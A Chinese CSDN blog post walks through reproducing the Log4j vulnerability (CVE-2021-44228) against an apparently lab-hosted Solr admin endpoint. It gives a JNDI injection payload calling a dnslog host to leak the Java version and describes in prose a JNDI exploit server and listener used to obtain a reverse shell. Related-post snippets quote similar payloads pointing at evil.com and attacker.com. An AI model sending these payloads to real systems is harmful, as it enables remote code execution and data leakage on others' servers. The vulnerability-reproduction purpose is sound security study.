CVE-2021-44228 漏洞复现

于 2024-07-31 17:48:08 发布
阅读量147 收藏 1
点赞数 9
文章标签： web安全 网络安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_69065643/article/details/140826935
版权

访问网址

发现/solr/admin/cores?action=，可以上传参数，使用dnslog，让其返回Java版本号

solr/admin/cores?action=${jndi:ldap://${sys:java.version}.ib1ozt.dnslog.cn

查看回显

开始准备反弹shell

下载JDNI，放到攻击机，输入如下命令

执行结果如下：

以上可以看到有三个服务，看到熟悉的rmi和ldap ，实际上这个jar的作用就是帮我们生成了恶意代码类，并且生成了对应的url，然后我们就可以回到刚才的网站去进行JNDI注入..这里在注入之前另启动一个终端开启监听..

在攻击机开启监听端口

拿取JDK1.8的ldap直接访问

获取到shell

养只小羊7
关注
  • 9
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
log4j 漏洞CVE-2021-44228 漏洞复现
kyliuw的博客
03-08 6033
log4j 漏洞CVE-2021-44228 漏洞复现
log4j2 CVE-2021-44228漏洞复现
qq_14902381的博客
08-10 707
vulfocus靶场log4j2 漏洞CVE-2021-44228复现
CVE-2021-44228漏洞复现
m0_65764670的博客
05-29 1331
此漏洞为log4j2漏洞，log4j2是java语言的日志处理套件，使用很广泛。在2.0到2.14.1版本中存在JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似'${jndi:ldap://evil.com/example}'​的参数进行JNDI注入，执行任意代码（注：Java环境1.8也可能会存在）什么是JNDI?
【vulhub】Log4j2：CVE-2021-44228漏洞复现
weixin_49422491的博客
09-13 2841
【vulhub】Log4j2：CVE-2021-44228漏洞复现
Log4j2—CVE-2021-44228漏洞复现
oiadkt的博客
04-10 489
Log4j2—CVE-2021-44228漏洞复现
检测通过“ proxylogon”组漏洞（CVE-2021-26855，CVE-2021-26857，CVE-2021-26858，CVE-2021-27065）利用的Microsoft Exchange服务器上掉落的Web Shell-.NET开发
05-27
预认证SSRF，CVSS：3.0 9.1 / 8.4 CVE-2021-26857，不安全的反序列化导致特权升级到SYSTEM级别，CVSS：3.0 7.8 / 7.2 CVE-2021-26858，认证后文件写入， CVSS：3.0 7.8 / 7.2 CVE-2021-27065，认证后文件写入，CVSS...
CVE-2021-25735:利用CVE-2021-25735
05-14
CVE-2021-25735 利用CVE-2021-25735：Kubernetes验证准入Webhook绕过 设置脆弱的环境 让我们从运行脚本gencerts.sh开始以生成TLS证书和密钥。 bash gencerts.sh 要部署接纳控制器，您需要在本地构建Docker容器映像...
CVE-2021-26855
03-12
**CVE-2021-26855：Exchange Server 漏洞详解** CVE-2021-26855 是一个影响 Microsoft Exchange Server 的高严重性漏洞，该漏洞允许远程未经身份验证的攻击者执行任意代码，从而获取对目标系统的完全控制。这个漏洞...
【论文速读】| MoRSE：利用检索增强生成技术填补网络安全专业知识的空白
m0_73736695的博客
07-25 520
本文介绍了MoRSE（Mixture of RAGs Security Experts），这是首个专为网络安全设计的AI聊天机器人。MoRSE利用两个并行工作的RAG（检索增强生成）系统，从多维网络安全背景中检索并组织信息。
网络安全相关竞赛比赛
黑战士的博客
07-18 1308
湖南省委网信办联合省教育厅、省广播电视局、省政务管理服务局、省通信管理局、长沙市人民政府等6家单位共同主办。教育部认可的大学生学科竞赛网站链接（2023版）关键字：比赛、CTF、赛事、技能挑战。浙江省大学生网络与信息安全竞赛。全国网络安全行业职业技能大赛。湖南省“网安湘军杯”
OWASP ZAP：一款功能强大的开源Web安全扫描工具
Coder加油站的专栏
07-27 852
OWASP ZAP是一个功能强大的Web应用程序安全扫描工具，适用于各种开发、测试和生产环境。通过自动扫描、手动测试、被动扫描和主动扫描等多种功能，ZAP能够帮助用户全面评估Web应用程序的安全性。此外，ZAP还提供了强大的API、插件和扩展功能，可以与CI/CD流水线集成，自动化地进行安全测试
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8354
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
科普文：Linux系统安全加固指南
为无为，事无事，味无味。
07-25 1062
本指南仅关注安全性和隐私性，而不关注性能，可用性或其他内容。列出的所有命令都将需要root特权。以“$”符号开头的单词表示一个变量，不同终端之间可能会有所不同。选择一个好的Linux发行版有很多因素。避免分发冻结程序包，因为它们在安全更新中通常很落后不使用与Systemd机制的发行版。Systemd包含许多不必要的攻击面；它尝试做的事情远远超出了必要，并且超出了初始化系统应做的事情。使用musl作为默认的C库。
人工智能：大语言模型提示注入攻击安全风险分析报告下载
cybtec的博客
07-25 1099
大语言模型提示注入攻击安全风险分析报告下载
大语言模型（LLM）安全测评基准V1.0 发布版下载
cybtec的博客
07-25 848
大语言模型（LLM）安全测评基准V1.0 发布版下载
mpu6050陀螺仪使用方法开发教程文档.docx
最新发布
07-30
mpu6050陀螺仪使用方法
【SCI顶级】龙格库塔算法RUN-CNN-LSTM-Multihead-Attention温度预测【含源码 5747期】.zip
07-30
CSDN海神之光上传的全部代码均可运行，亲测可用，直接替换数据即可，适合小白； 1、代码压缩包内容 主函数：Main .m； 数据； 调用函数：其他m文件；无需运行 运行结果效果图； 2、代码运行版本 Matlab 2019b；若运行有误，根据提示修改；若不会，可私信博主； 3、运行操作步骤 步骤一：将所有文件放到Matlab的当前文件夹中； 步骤二：双击打开除Main.m的其他m文件； 步骤三：点击运行，等程序运行完得到结果； 4、仿真咨询 如需其他服务，可私信博主或扫描博主博客文章底部QQ名片； 4.1 CSDN博客或资源的完整代码提供 4.2 期刊或参考文献复现 4.3 Matlab程序定制 4.4 科研合作 智能优化算法-CNN-LSTM-Mutilhead-Attention回归预测系列程序定制或科研合作方向： 4.4.1 遗传算法GA/蚁群算法ACO-CNN-LSTM-Mutilhead-Attention回归预测 4.4.2 粒子群算法PSO/蛙跳算法SFLA-CNN-LSTM-Mutilhead-Attention回归预测 4.4.3 灰狼算法GWO/狼群算法WPA-CNN-LSTM-Mutilhead-Attention回归预测 4.4.4 鲸鱼算法WOA/麻雀算法SSA-CNN-LSTM-Mutilhead-Attention回归预测 4.4.5 萤火虫算法FA/差分算法DE-CNN-LSTM-Mutilhead-Attention回归预测
cve-2021-44228漏洞复现
03-16
cve-2021-44228漏洞是Apache Log4j 2.x中的一个严重漏洞，可以导致远程代码执行。要复现该漏洞，需要使用恶意构造的日志消息来触发漏洞。 具体步骤如下： 1. 下载并安装Apache Log4j 2.x版本。 2. 创建一个Java程序，使用Log4j 2.x的API来记录日志。 3. 构造一个恶意的日志消息，其中包含一个特殊的字符序列，例如${jndi:ldap://attacker.com/Exploit}。 4. 将恶意的日志消息记录到日志中。 5. 启动应用程序并查看日志文件，如果存在漏洞，则会触发远程代码执行。 需要注意的是，该漏洞已经被广泛利用，因此建议尽快升级到最新版本的Apache Log4j 2.x，或者禁用Log4j 2.x的JNDI功能来缓解风险。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值